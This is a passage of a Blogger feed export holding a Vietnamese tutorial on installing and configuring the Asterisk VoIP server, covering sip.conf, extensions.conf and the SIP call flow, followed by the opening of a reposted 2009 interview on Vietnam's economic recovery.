0);"&gt;/etc/rc.local&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and add the following line: &lt;br /&gt;modprobe zaptel &lt;br /&gt;modprobe ztdummy &lt;br /&gt;asterisk –g &lt;br /&gt;&lt;br /&gt;To load your &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;, run the command &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;"asterisk -g"&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; in the console and point your browser to &lt;/span&gt;&lt;a target="_blank" href="http://your-server-ip:8088/asterisk/static/config/cfgbasic.html" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://your-server-ip:8088/asterisk/.../cfgbasic.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;a target="_blank" href="http://www.chr05210084.com/users/chr05210084" style="text-decoration: none; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;II. Technical Indepth&lt;br /&gt;&lt;br /&gt;Asterick có thể được cấu hình với nhiều mục đích khác nhau, nhưng mô hình thông thường nhất là Client/Server. Mô hình này cho phép các client – hay còn gọi là UAC – user agent client kết nối vào server là Asterisk – hay còn gọi là UAS – User Agent Server. Các UAC là nơi sinh ra các session trong khi UAS thì xử lý thụ động các session nhận được dựa trên tập hợp rule có sẳn. Phần IV sẽ đi rỏ hơn về các dạng ứng dụng này.&lt;br /&gt;&lt;br /&gt;Ta có thể cấu hình Asterisk trong console mode, hoặc có một cách tiện lợi hơn là edit trực tiếp các file cấu hình trong /etc/asterisk. Mổi ứng dụng riêng của Asterisk như voicemail, zaptel, music-on-hold, meetme, conference, iax … đều có configuration riêng của mình, tuy nhiên có 2 file cấu hình quan trọng nhất là sip.conf và extension.conf:&lt;br /&gt;&lt;br /&gt;- Sip.conf : file cấu hình về các thông tin của các UAC như username, password, IP, type, security, codec, là thành phần căn bản nhất lưu giử thông tin trong Asterisk.&lt;br /&gt;&lt;br /&gt;- Extension.conf: file cấu hình về các luật định tuyến cuộc gọi, luật quay số, các extension trong ngoài và những tính năng đặc biệt khác. Extensions.conf là file quan trọng nhất trong bất kỳ cấu hình Asterisk nào&lt;br /&gt;&lt;br /&gt;Các file cấu hình khác&lt;br /&gt;&lt;br /&gt;- Voicemail.conf: file cấu hình cho hệ thống voice-mail của asterisk. Asterisk có thể dùng lệnh Sendmail trên CentOS để gởi mail đến cho các địa chỉ được lưu trong file cấu hình này.&lt;br /&gt;&lt;br /&gt;- Zaptel.conf: File này nằm ngoài /etc, là file chứa thông số index, driver dành cho Linux khi kích hoạt các thiết bị Telephony cắm trực tiếp vào Asterisk thông qua cổng PCI&lt;br /&gt;&lt;br /&gt;- Zapata.conf: Cũng thuộc module zaptel, nhưng là file kết nối các thiết bị Telephony đã được khai báo vào hệ thống chính của Asterisk&lt;br /&gt;- Iax(2).conf: Các thông số về IAX (inter-asterisk protocol) dùng khi kết nối 2 asterisk box với nhau&lt;br /&gt;&lt;br /&gt;- MeetMe.conf: Một chức năng tạo room conference căn bản.&lt;br /&gt;&lt;br /&gt;… và nhiều lắm!&lt;br /&gt;&lt;br /&gt;Sau đây chúng ta thử xem qua một cấu hình căn bản với 1 server Asterisk và 2 Client dùng X-Lite (www.xten.com). Chúng ta cần làm 2 việc:&lt;br /&gt;&lt;br /&gt;Định nghĩa trên sip.conf 2 hạng mục tương ứng với 2 client&lt;br /&gt;Định nghĩa trên extension.con dial-plan và extension tương ứng.&lt;br /&gt;&lt;br /&gt;Trên File sip.conf:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[101]&lt;br /&gt;Type=friends&lt;br /&gt;&lt;br /&gt;Username=***&lt;br /&gt;Secret=***&lt;br /&gt;&lt;br /&gt;Disallow=all&lt;br /&gt;Allow=ulaw&lt;br /&gt;&lt;br /&gt;Host=dynamic&lt;br /&gt;Context=test-dialplan&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[102]&lt;br /&gt;Type=friends&lt;br /&gt;&lt;br /&gt;Username=jane&lt;br /&gt;Secret=jane&lt;br /&gt;&lt;br /&gt;Disallow=all&lt;br /&gt;Allow=ulaw&lt;br /&gt;&lt;br /&gt;Context=test-dialplan&lt;br /&gt;Host=dynamic&lt;br /&gt;&lt;br /&gt;Chú ý: Trường Context trong file sip.conf phải đúng với một context – được định nghỉa bởi ký hiểu [ ] trong file extensions.conf, như thế SIP Entry đó có thể gọi được các dial-plan bên trong một context.&lt;br /&gt;&lt;br /&gt;Trên File extensions.conf&lt;br /&gt;&lt;br /&gt;[test-dialplan]&lt;br /&gt;Exten =&gt; 101,1,Dial(SIP/101)&lt;br /&gt;&lt;br /&gt;Exten =&gt; 102,2,Dial(SIP/102)&lt;br /&gt;Config trên sẻ cho phép 2 end-point Dùng X-ten softphone, tương tự bạn có thể thêm vào nhiều ID hơn trong file SIP.conf và tạo dial-plan tương ứng với extensions.conf. Nếu Asterisk Server được đặt trên một địa chỉ IP public, và các client (softphone, phone) nằm ở địa chỉ Private, bạn phải thêm vào dòng NAT=1 trong các SIP ID được định nghỉa tại file sip.conf. Host=Dynamic cho phép các client có IP động bất kỳ, tuy nhiên chỉ áp dụng được trong trường hợp các UAC có khả năng register vào hệ thống.&lt;br /&gt;&lt;br /&gt;Chi tiết về các thông số của sip.conf và exntesion.conf có thể được tìm thấy tại đây:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a target="_blank" href="http://www.voip-info.org/wiki-Asterisk+config+sip.conf" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://www.voip-info.org/wiki-Asterisk+config+sip.conf&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;http://www.voip-info.org/wiki-Asterisk+config+extension.conf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;III. Chi tiết đằng sau một cuộc gọi SIP &lt;br /&gt;&lt;br /&gt;Bản thân Asterisk có thể chạy nhiều protocol khác nhau như H323, Skinny (SCCP) và MGCP … nhưng khi nhắc đến *, người ta nghỉ ngay đến SIP. Ngoài Asterisk, cấu trúc rất linh động của SIP cũng là engine cho rất nhiều ứng dụng khác nhau: Instant Messaging (MSN, Jabber), Online Game, Session Control, WholeSale VoIP và các ứng dụng tùy biến khác vốn đòi hỏi sự kết nối linh hoạt giửa các bên tham gia. &lt;br /&gt;&lt;br /&gt;Bây giờ chúng ta sẽ phân tích cấu hình tại phần II, &lt;br /&gt;&lt;br /&gt;Tuần tự các bước diển ra như sau: &lt;br /&gt;&lt;br /&gt;1. Máy tính *** vừa bootup, chương trình Xten tự động kích hoạt kết nối vào Asterisk (vì Xten đã được cấu hình sẳn). Xten sẽ gởi 1 SIP Message Method REGISTER vào Asterisk với SIP ID là ***@1.1.1.1 và location là 1.1.1.1 &lt;br /&gt;2. Asterisk sẽ gởi lại cho *** 403 Unauthorized Message, thực chất là một dạng Challenge Message. &lt;br /&gt;3. ***’s Xten khi nhận được Message 403 sẽ tiến hành MD5 hash cái secret mà *** đã cấu hình trong Xten, sau đó nó gởi một SIP REGISTER MESSAGE với một header đặc biệt: www_authorization hoặc proxy_authorization (tùy loại UA, trong trường hợp này là www_authorization), trong đó chứa giá trị Hash mà nó mới có được. Asterisk khi nhận REGISTER message thứ nhì của ***, kiểm tra và thấy có header www_authorization có giá trị hash. Asterisk sẽ check trong bộ nhớ của mình xem SIP ID là *** có secret không, nếu có, nó sẽ hash cái secret trong bộ nhớ và so sánh với hash string được gởi từ *** lên. Nếu giống nhau, thì tiếp tục sang bước 5, còn fail thì lập lại bước 2. Khi Asterisk start, nó sẽ lấy đọc thông số trong các File .conf một lần duy nhất, do đó khi thay đổi trong các file config của Asterisk, phải restart asterisk bằng cách kết nối vào Asterisk CLI và dùng lệnh “reload”. &lt;br /&gt;Khi hash-check pass, Asterisk gởi về cho *** một SIP MESSAGE 200 OK (giống http) báo rằng anh đã registered. Đồng thời nó cũng cập nhật location-table của mình là : ***@1.1.1.1 &lt;br /&gt;4. Khi *** tiến hành gọi Jane (với SIP, người ta có thể gọi bằng số, hoặc bằng tên cũng được), Xten của *** sẽ gởi một INVITE MESSAGE vào Asterisk. Asterisk sẽ look up trong Location Table của mình và tìm thấy Jane tại địa chỉ 2.2.2.2 (bước 5.5), trong trường hợp tìm không thấy, Asterisk có thể gởi về cho *** một SIP MESSAGE 404 NOT FOUND (quen quá T_T) &lt;br /&gt;5. Asterisk forward SIP INVITE MESSAGE đến Jane@2.2.2.2 , tất nhiên cũng đã add vào trong INVITE đấy địa chỉ của mình. * &lt;br /&gt;6. Đồng thời, Asterisk cũng gởi về cho *** một SIP MESSAGE 180 RINGBACK, báo hiệu là phone của Jane@2.2.2.2 đã reng, chờ đợi bắt máy. &lt;br /&gt;Jane bắt máy, và gởi về cho Asterisk một SIP MESSAGE 200 OK với đầy đủ thông số Voice của phone của Jane như Codec, Timing .v.v. nằm trong SIP Body (Session Description Protocol – SDP) &lt;br /&gt;7. Asterisk chuyển Message 200 OK về cho ***, và hoàn tất quá trình kiểm soát tín hiệu SIP giữa 2 UAC. Đồng thời cập nhật các thông tin về Billing nếu có cấu hình. &lt;br /&gt;&lt;br /&gt;Lúc này, ***@1.1.1.1 và Jane@2.2.2.2 mở một RTP session trực tiếp đến nhau hoặc thông qua Asterisk tùy thuộc vào NAT setting giửa 2 người. SIP nằm ở thượng tầng của Transport Layer, dùng UDP 5060, trong khi RTP thường dùng các private port &gt; 1024. Do SIP và RTP cùng chạy trên một ứng dụng nhưng lại khác port, nên đôi khi chúng ta gặp tình huống UAC sẽ reng nhưng RTP bị block, giới chuyên môn gọi là One-Way-Audio. &lt;br /&gt;* ở giửa các bước thật ra còn có một dạng Message ACK nhỏ, tuy nhiên để đơn giản hóa, người viết lược bỏ phần này. Chi tiết về SIP có thể được tìm thấy rất nhiều trên Internet, tuy nhiên để hiểu sâu, kỷ và chính xác, RFC là 1 bắt buộc. &lt;br /&gt;&lt;br /&gt;SIP RFC: &lt;/span&gt;&lt;a target="_blank" href="http://www.faqs.org/rfcs/rfc3261.html" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://www.faqs.org/rfcs/rfc3261.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;&lt;br /&gt;IV. Các ứng dụng của Asterisk &lt;br /&gt;Asterisk hổ trợ rất nhiều công nghệ khác nhau như H323, SIP, MCGP, SCCP cũng như nhiều loại giao tiếp mạng khác nhau như FXO, FXS, ISDN PRI, ISDN BRI, E3 thậm chí SS7. Bản thân cấu trúc nguồn mở cùng giao thức SIP linh hoạt, cho phép developer lẩn người sử dụng có thể customize ứng dụng Asterisk của mình đáng kể. Đặc biệt, phải kể đến giao tiếp Asterisk AGI và AsteriskRealtime cho phép Asterisk kết hợp với các ngôn ngử lập trình thông dụng như C, C++, VBB, PHP, Shell-script, Python cùng với hệ cơ sở dử liệu MySQL hoặc Oracle để phát triển những ứng dụng Voice-Application khác nhau. Sau đây người viết xin giới thiệu một vài hệ thống mà đã có kinh nghiệm làm qua: &lt;br /&gt;&lt;br /&gt;1. SIP Registrar / IP PBX: Ứng dụng căn bản nhất của Asterisk, nhưng cũng là mạnh nhất. Asterisk được cấu hình làm SIP proxy chính cho các Client kết nối vào. Có thể tích hợp AsteriskRealTime và một WEB GUI để tiện cho việc quản lý (tự viết hoặc dùng có sẳn). SIP Registrar có sẳn các tính năng hấp dẩn như voicemail, IVR, call-transfer, conference .v.v. &lt;br /&gt;2. Conference Hub: Tận dụng chức năng của Asterisk và biến nó trở thành một Conference Hub. Asterisk được dedicate sử dụng resource của phần cứng để mirror các dòng RTP khác nhau từ nhiều client gọi đến. Thông thường trong trường hợp này, Asterisk được sử dụng chung với một hệ thống Softswitch khác – Asterisk trở thành UAC của hệ thống đó &lt;br /&gt;3. Application Call Center: Tính năng IVR (interactive voice respond) của Asterisk có thể được customize thành nhiều lớp khác nhau (không có giới hạn), cho phép tạo ra một danh mục trả lời tự động khổng lồ. Ứng dụng này được dùng nhiều nhất trong các trung tâm hổ trợ khách hàng có trả lời tự động, tiết kiệm được rất nhiều thời gian và chi phí. Chúng ta cũng có thể tạo ra một chương trình tương tác DATA/PHONE khi dùng với Asterisk AGI và một ngôn ngử lập trình khác. &lt;br /&gt;&lt;br /&gt;4. Class 5 Features box: Asterisk được sử dụng như một thiết bị cung cấp dịch vụ cộng thêm cho các softswitch khác. Rất nhiều SIP proxy (nhất là của Telco) có cấu trúc khá đơn giản và gọn nhằm tăng tốc độ xử lý, do đó thường thiếu những tính năng như voicemail, calling-card .v.v.. Asterisk lắp vào chổ trống đó một cách hoàn hảo, và được rất nhiều các start-up VoIP provider sử dụng &lt;br /&gt;5. Codec Transformer: Dân VoIP chuyên nghiệp hẳn sẽ rất đau đầu với các hệ thống Codec khác nhau của voice, đặc biệt khi kết nối đến 1 nhà cung cấp khác. Thương thì ít ai chịu thay đổi Codec mặc định của mình, nếu nói là không thể. Có nhiều giải pháp work-around như back-to-back TDM trên các Media Gateway. Asterisk có thể làm IP-to-IP codec transformation một cách hoàn hảo, đặc biệt với license của g729a. &lt;br /&gt;&lt;br /&gt;6. Media (PSTN/ISDN/E3) Gateway: Bản thân Asterisk sử dụng chung với các module Zaptel ISDB PRI , FXO, FXS cho phép Asterisk gởi cuộc gọi ra ngoài các hệ thống mạng điện thoại công cộng hay ISDN, đây cũng là một giải pháp giá rẻ. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;V Đoạn kết &lt;br /&gt;Tác giả không có tham vọng thuyết phục bạn vứt bỏ hệ thống VoIP của mình hiện tại, mà chỉ khuyến khích bạn download vài cài đặt Asterisk, biết đâu bạn sẽ cảm thấy có những tính năng hay trên Asterisk có thể tích hợp hoàn toàn thoải mái vào hệ thệ thống Integrate Phone Computer của bạn. Đồng thời, tác giả cũng khuyến khích các nhóm, các công ty lập trình nhìn thấy được tiềm năng của Asterisk tiến hành nghiên cứu, phát triển nó, vì đó có thể là con đường khả thi cho chúng ta cơ hôi bắt kịp được trình độ công nghệ VoIP của thế giới.&lt;/span&gt;&lt;/div&gt;&lt;div class="content-wrapper" style="clear: both; font: normal normal normal 100%/normal georgia, 'times new roman', serif; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="content-wrapper" style="clear: both; font: normal normal normal 100%/normal georgia, 'times new roman', serif; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;url:&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255); font-family: arial; "&gt;&lt;a href="http://blog.360.yahoo.com/blog-2C3IARUidKifywL4pA7k?p=34"&gt;http://blog.360.yahoo.com/blog-2C3IARUidKifywL4pA7k?p=34&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/dd&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-6072218975989354653?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/6072218975989354653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=6072218975989354653' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6072218975989354653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6072218975989354653'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/05/cai-at-asterisk.html' title='Cài đặt Asterisk'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5882028794352676210</id><published>2009-04-20T20:55:00.001-07:00</published><updated>2009-04-20T20:55:34.001-07:00</updated><title type='text'>'Tôi giữ cách nhìn thận trọng về phục hồi kinh tế'</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; "&gt;&lt;p class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;Chuyên gia kinh tế cao cấp Bùi Kiến Thành cho rằng cần thêm dữ liệu để nhận định về sức khỏe nền kinh tế, và không nên sớm lạc quan khi thấy những biểu hiện nhất thời trên thị trường chứng khoán hay lỗ lãi của ngân hàng. &lt;br /&gt;&gt; &lt;a href="http://vnexpress.net/GL/Kinh-doanh/2009/02/3BA0B972/" class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;Vượt qua khủng hoảng từ những 'gánh hàng rong'&lt;/a&gt; / &lt;a href="http://vnexpress.net/GL/Kinh-doanh/2009/03/3BA0D3ED/" class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;Việt Nam xuất hàng chục tấn vàng&lt;/a&gt;&lt;/p&gt;&lt;div class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;em&gt;&lt;table cellspacing="0" cellpadding="3" width="1" align="left" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img border="1" width="250" height="195" src="http://vnexpress.net/Files/Subject/3B/A0/E1/64/BuiKienThanh1.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="Image" style="font-family: Arial; font-size: 8.5pt; color: rgb(0, 0, 0); "&gt;Chuyên gia tài chính Bùi Kiến Thành. Ảnh: &lt;em&gt;Ngọc Châu&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;- Một số ý kiến gần đây cho rằng nền kinh tế đã xuất hiện tín hiệu hồi phục. Theo ông, dấu hiệu của hồi phục kinh tế sẽ thể hiện trước hết ở đâu?&lt;/em&gt;&lt;/p&gt;&lt;/div&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;- Người ta nhìn vào các&lt;span style="color:#ff0000;"&gt; &lt;/span&gt;&lt;span style="color:#0f0f0f;"&gt;chỉ báo&lt;/span&gt; chính để biết rằng sức khỏe của nền kinh tế đang ở mức nào. Một trong số đó là chỉ số niềm tin kinh doanh (BCI), trong quý I/2009 chỉ số này tại Việt Nam tăng 6 điểm so với quý cuối năm 2008, cho thấy đa số nhà quản lý doanh nghiệp vẫn tin vào gia tăng doanh thu và lợi nhuận trong vòng 12 tháng tới. Tiêu dùng nói chung giảm, nhưng tiêu dùng cá thể trong nước vẫn tăng khá.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Tuy vậy, các chỉ số kinh tế vĩ mô khác chưa thực sự lạc quan. Xuất khẩu trong tháng 3 tăng 2,4% so với cùng kỳ năm trước, nhưng nhìn vào chi tiết thì thấy là không tăng, mà vẫn đang giảm. Các sản phẩm chiến lược của Việt Nam như dệt may, gỗ, giày dép giảm mạnh, hoặc không tăng. Riêng xuất khẩu đá quý và kim loại có giá trị xuất khẩu bằng gần &lt;span style="color:#0f0f0f;"&gt;5.000%&lt;/span&gt; cùng kỳ năm trước. Đúng là Việt Nam xuất siêu, nhưng &lt;a href="http://vnexpress.net/GL/Kinh-doanh/2009/03/3BA0D3ED/" class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;tái xuất vàng&lt;/a&gt; thì &lt;span style="color:#0f0f0f;"&gt;không phải là một hoạt động kinh tế đơn thuần&lt;/span&gt;. Nhập khẩu giảm xuống, nhưng đáng chú ý là hàng xuất khẩu của Việt Nam có 70-80% nguyên liệu ngoại nhập. Xuất khẩu giảm nên nhập khẩu cũng giảm theo.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Tôi cho rằng cần thận trọng khi nhận định kinh tế đã ra khỏi khủng hoảng hay chưa, và phải nhìn vào các chỉ số, đặc biệt là dữ liệu về sản xuất của các doanh nghiệp.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;em&gt;- Ông nghĩ sao về khả năng hồi phục của kinh tế Mỹ và Trung Quốc sẽ có tác động lan tỏa tới Việt Nam, nhất là khi Mỹ là thị trường xuất khẩu lớn nhất của Việt Nam ?&lt;/em&gt;&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;- Chủ tịch FED Ben Bernanke có nói rằng kinh tế Mỹ có khả năng khởi sắc vào cuối năm 2009, nhưng vế thứ hai của nhận định này là "nếu có thể giải quyết tình trạng đóng băng của hệ thống tài chính Mỹ và thế giới".&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Khủng hoảng tại Mỹ bắt nguồn từ việc trái phiếu phái sinh được đảm bảo bởi các hợp đồng cho vay bất động sản (mortgage-backed securities) bị mất thanh khoản và trở nên "nhiễm độc", như cách nói của cựu Bộ trưởng Tài chính Henry Paulson. Tổng giá trị hợp đồng cho vay bất động sản tại Mỹ lên đến 12.000 tỷ USD. Để bảo hiểm nguy cơ xảy ra nợ xấu, các nhà đầu tư các sản phẩm phái sinh này mua hợp đồng Bảo đảm nợ xấu (Credit Default Swap - CDS). Đến cuối tháng 6/2008, tổng giá trị hợp đồng CDS bên Mỹ là 35.000 tỷ USD, trong khi GDP Mỹ là 14.700 tỷ. Thị trường CDS đem lại lợi nhuận khổng lồ nhưng đã khiến thị trường tín dụng sụp đổ khi các hợp đồng vay biến thành nợ xấu. Đến tháng 10/2008, các định chế tài chính hàng đầu thế giới lâm vào tình trạng phá sản, mọi lĩnh vực kinh tế đều không tiếp cận được vốn vay. Đến nay các chính phủ đã bơm tiền để khuyến khích ngân hàng cho vay, song thị trường vẫn đóng băng.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Chính phủ Mỹ dự định mua lại các khoản nợ xấu bằng gói tài chính 700 tỷ USD, nhưng nay họ không làm nữa. Giá trị các trái phiếu này tại thị trường Mỹ trước đây được xác định khoảng 4.000-5.000 tỷ USD, đến nay Mỹ chưa có giải pháp nào. Khoảng 2.000 tỷ USD trái phiếu do Chính phủ Mỹ phát hành cũng sẽ khó bán, nên FED sẽ phải mua vào, thực chất là in thêm tiền. Việc này lại tạo thêm những hệ lụy. Nhìn chung, các chỉ báo kinh tế tại Mỹ, châu Âu và Nhật vẫn đang đi xuống.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Trung Quốc có lợi thế ở thị trường nội địa rộng lớn và lệ thuộc ít hơn vào thị trường nước ngoài. Họ đang chuyển hướng về nông thôn, và nếu chừng đó nông dân của Trung Quốc ăn nên làm ra, thì sẽ rất thuận lợi cho nền kinh tế của họ. Song ta cần quan sát thêm cách làm của Trung Quốc.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;em&gt;- Nhưng thị trường tài chính Mỹ đã có dấu hiệu tích cực, một số ngân hàng như Citigroup và Wells Fargo báo cáo lãi trong 3 tháng đầu năm nay?&lt;/em&gt;&lt;/p&gt;&lt;table cellspacing="0" cellpadding="3" width="266" align="right" bgcolor="#efefef" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Chuyên gia tài chính Bùi Kiến Thành (sinh năm 1932) hiện là nhà tư vấn chiến lược kinh tế cho Chính phủ. Ông từng là cố vấn cao cấp của nhiều tập đoàn đa quốc gia như AIG, KHM… Là một trong 19 cá nhân nhận giải thưởng "Vinh danh nước Việt" lần đầu tiên năm 2004.&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;- Việc những ngân hàng Mỹ báo lãi chỉ là câu chuyện kế toán thôi. Citi nhận 45 tỷ USD hỗ trợ của Chính phủ Mỹ và được bảo đảm cho hơn 300 tỷ USD nợ khó đòi. Năm 2008 họ ghi sổ lỗ trên 20 tỷ USD. Các tài sản nhiễm độc được "khóa sổ" và không tính lại theo giá trị thị trường. Sang quý mới, họ báo lãi, là lãi trong riêng thời điểm này, do được Chính phủ bơm vốn và chưa tính tới số lỗ ghi trong sổ.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;em&gt;- Ông nói gì về con số trên 220.000 tỷ đồng vốn bù lãi suất 4% mà các ngân hàng trong nước báo cáo đã giải ngân trong vòng 2 tháng qua?&lt;/em&gt;&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;- Con số 220.000 tỷ đồng vốn cho vay đã giải ngân sẽ tương đương 17-18% dư nợ của hệ thống ngân hàng. Nhưng số liệu của Ngân hàng Nhà nước cho thấy tổng dư nợ chỉ tăng thêm hơn 2%. Tôi cho rằng, vấn đề tiền giải ngân đi đâu và đảo nợ cần được quan tâm.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Đặt giả thiết có chuyện đảo nợ, trong trường hợp đó, ngân hàng vẫn được bù 4% lãi suất, mà lại "làm sạch" được nợ khó đòi trong báo cáo tài chính. Còn doanh nghiệp vay vốn và báo cáo là đưa vào vốn lưu động 8 tháng. Mà việc sử dụng vốn lưu động có đúng mục đích hay không thì kiểm soát không dễ.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Với các nền kinh tế, lãi suất tái cấp vốn và chiết khấu là những công cụ quan trọng để điều hành lãi suất cho vay trên thị trường. Khi ngân hàng trung ương các nước cung ứng vốn cho ngân hàng thương mại với lãi suất 1-2%, ngân hàng thương mại có thể cho vay với lãi suất 4-5% mỗi năm, mà không cần tới tiền hỗ trợ từ ngân sách để bù lãi suất.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Nếu đảo nợ có thật, mọi chuyện sẽ càng nguy hiểm hơn nếu những đồng vốn đó được chuyển hóa thành đôla để trả nợ cho các hợp đồng nhập khẩu trước đây. Theo chương trình của Chính phủ, doanh nghiệp chỉ được hỗ trợ lãi suất khi vay vốn bằng tiền đồng, cho sản xuất kinh doanh và đầu tư mới. Thị trường ngoại hối gần đây nóng lên, trong bối cảnh nhu cầu nhập khẩu không lớn, cũng là câu hỏi cần có lời giải đáp.&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;em&gt;- Diễn biến thị trường chứng khoán sôi nổi trong những ngày gần đây được cho vừa là tín hiệu của hồi phục kinh tế, vừa là kỳ vọng của giới đầu tư về khả năng này. Ông nghĩ sao về dòng tiền đang chảy vào thị trường chứng khoán?&lt;/em&gt;&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;- Tôi cho rằng cần kiểm tra dòng tiền này. Chưa thể loại trừ khả năng nguồn vốn từ các ngân hàng đã chuyển sang chứng khoán. Chỉ khoảng 5% nguồn vốn này chảy sang chứng khoán, cũng đã là đủ để "tung hoành".&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Thực tế, dù có những phiên tăng điểm, nhưng không có cơ sở kinh tế vĩ mô cho chiều hướng đứng vững và không quay đầu trở xuống. Ngoài ra chứng khoán Mỹ vẫn trong xu thế đi xuống. Chứng khoán trên thị trường Mỹ đã mất 40-50% giá trị, và khi các ngân hàng báo cáo lãi thì mới có những ngày đi lên. Quan trọng là xem căn bản thị trường có những chỉ báo gì.&lt;/p&gt;&lt;p 